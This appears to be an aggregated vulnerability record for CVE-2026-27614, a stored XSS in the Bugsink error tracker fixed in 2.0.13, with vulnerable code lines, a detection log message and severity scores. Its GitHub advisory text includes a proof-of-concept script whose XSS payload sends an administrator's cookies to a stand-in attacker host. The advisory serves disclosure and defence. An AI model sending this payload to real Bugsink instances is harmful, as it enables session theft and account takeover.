{"id":"CVE-2026-27614","aliases":["CVE-2026-27614","GHSA-vp6q-7m36-pq3w","PYSEC-2026-301"],"related":[],"kind":"vulnerability","state":"published","title":"Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering","summary":"Bugsink is a self-hosted error tracking tool. In versions prior to 2.0.13, an unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event. The payload executes only if a user explicitly views the affected Stacktrace in the web UI. When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event. Successful exploitation requires that the attacker to be able to submit events to the project (i.e. knows the DSN or can access a client that uses it), the Bugsink ingest endpoint is reachable to the attacker, and an administrator explicitly views the crafted event in the UI. Under those conditions, the attacker can execute JavaScript in the administrator’s browser and act with that user’s privileges within Bugsink. Version 2.0.13 fixes the vulnerability.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Bugsink is a self-hosted error tracking tool. In versions prior to 2.0.13, an unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event. The payload executes only if a user explicitly views the affected Stacktrace in the web UI. When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event. Successful exploitation requires that the attacker to be able to submit events to the project (i.e. knows the DSN or can access a client that uses it), the Bugsink ingest endpoint is reachable to the attacker, and an administrator explicitly views the crafted event in the UI. Under those conditions, the attacker can execute JavaScript in the administrator’s browser and act with that user’s privileges within Bugsink. Version 2.0.13 fixes the vulnerability.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nAn unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event.\nThe payload executes only if a user explicitly views the affected Stacktrace in the web UI.\n\n### Details\n\nWhen Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.\n\n```python\n# issues.py:75-77 - fallback path, no escaping\nif len(pygmented) != len(lines):\n    return lines  # raw HTML returned here\n\n# issues.py:111-113 - unconditional mark_safe\nreturn [mark_safe(line) for line in result]\n```\n\n### Operational Signals\n\nExploitation attempts are likely to generate the diagnostic event:\n\n```\n\"Pygments line count mismatch, falling back to unformatted code\"\n```\n\nInstallations that monitor Bugsink with Bugsink (or otherwise alert on internal errors)\nmay see this message as an issue. While the condition can occur benignly, unexpected\noccurrences, especially from unusual languages (specifically ruby), warrant review.\n\n\n### PoC\n\nSend a Sentry event to `/api/<project-id>/store/` with a valid DSN:\n\n```python\nimport requests\n\npayload = {\n    \"exception\": {\"values\": [{\"stacktrace\": {\"frames\": [{\n        \"filename\": \"app.rb\",\n        \"lineno\": 2,\n        \"pre_context\": [\"<<~HEREDOC\", \"  foo\", \"HEREDOC\"],\n        \"context_line\": \"<img src=x onerror=fetch('//attacker/?c='+document.cookie)>\",\n        \"post_context\": []\n    }]}}]}\n}\n\nrequests.post(\n    \"http://bugsink-host/api/<project-id>/store/\",\n    json=payload,\n    headers={\"X-Sentry-Auth\": \"Sentry sentry_key=<dsn-public-key>, sentry_version=7\"}\n)\n```\n\nOpen the event in the bugsink UI as any admin. Cookie exfiltrates immediately.\n\n### Impact\n\nThis is a stored XSS vulnerability.\n\nSuccessful exploitation requires:\n\n* The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it).\n* The Bugsink ingest endpoint is reachable to the attacker.\n* An administrator explicitly views the crafted event in the UI.\n\nUnder those conditions, the attacker can execute JavaScript in the administrator’s browser\nand act with that user’s privileges within Bugsink.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Bugsink es una herramienta de seguimiento de errores autoalojada. En versiones anteriores a la 2.0.13, un atacante no autenticado que puede enviar eventos a un proyecto de Bugsink puede almacenar JavaScript arbitrario en un evento. La carga útil se ejecuta solo si un usuario ve explícitamente el Stacktrace afectado en la interfaz de usuario web. Cuando Pygments devuelve más líneas de las que se le dieron (una peculiaridad conocida de la fuente que se activa con entrada de estilo heredoc de Ruby), '_pygmentize_lines()' en 'theme/templatetags/issues.py:75-77' recurre a devolver las líneas de entrada sin procesar. 'mark_safe()' en las líneas 111-113 se aplica entonces incondicionalmente, incluso a esas líneas sin procesar no saneadas. Dado que los endpoints DSN son públicos según el protocolo Sentry, no se necesita una cuenta para inyectar. La carga útil permanece en la base de datos hasta que un administrador mira el evento. Para explotarlo con éxito es preciso que el atacante pueda enviar eventos al proyecto (es decir, conozca el DSN o pueda acceder a un cliente que lo use), que el punto final de ingesta de Bugsink sea accesible para el atacante, y que un administrador vea explícitamente el evento manipulado en la interfaz de usuario. Bajo esas condiciones, el atacante puede ejecutar JavaScript en el navegador del administrador y actuar con los privilegios de ese usuario dentro de Bugsink. La versión 2.0.13 corrige la vulnerabilidad.","source":"nvd"}],"published":"2026-02-25T02:31:17.880Z","modified":"2026-10-27T15:30:04.325Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","score":9.3,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","score":9.3,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","score":9.3,"rating":"CRITICAL"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 2.0.13","status":"affected"}],"vendor":"bugsink","product":"bugsink","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.0.13"}],"ecosystem":"PyPI","package":"bugsink","purl":"pkg:pypi/bugsink","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2.0.13"}],"vendor":"bugsink","product":"bugsink","cpe":"cpe:2.3:a:bugsink:bugsink:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.0.13"}],"ecosystem":"PyPI","package":"bugsink","purl":"pkg:pypi/bugsink","source":"pysec"}],"references":[{"url":"https://github.com/bugsink/bugsink/security/advisories/GHSA-vp6q-7m36-pq3w","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/bugsink/bugsink/commit/e784d6aeb0d5f29b40c2779d2544c2b9ef097ee9","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/bugsink/bugsink/releases/tag/2.0.13","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27614","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/bugsink/bugsink","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/bugsink/PYSEC-2026-301.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://pypi.org/project/bugsink","tags":["package","web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/advisories/GHSA-vp6q-7m36-pq3w","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-02-25T20:01:19.421Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-27614","url":"https://www.cve.org/CVERecord?id=CVE-2026-27614","licence":"CVE Terms of Use","modified":"2026-02-25T20:01:45.861Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-vp6q-7m36-pq3w","url":"https://github.com/advisories/GHSA-vp6q-7m36-pq3w","licence":"CC-BY-4.0","modified":"2026-10-27T15:30:04.325Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-27614","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27614","licence":"Public domain","modified":"2026-06-17T10:27:23.907Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-301","url":"https://osv.dev/vulnerability/PYSEC-2026-301","licence":"CC-BY-4.0","modified":"2026-07-13T16:15:29.399Z"}],"updatedAt":"2026-11-25T22:59:14.808Z","epss":{"score":0.00344,"percentile":0.29957,"date":"2026-12-01T12:00:22.000Z"}}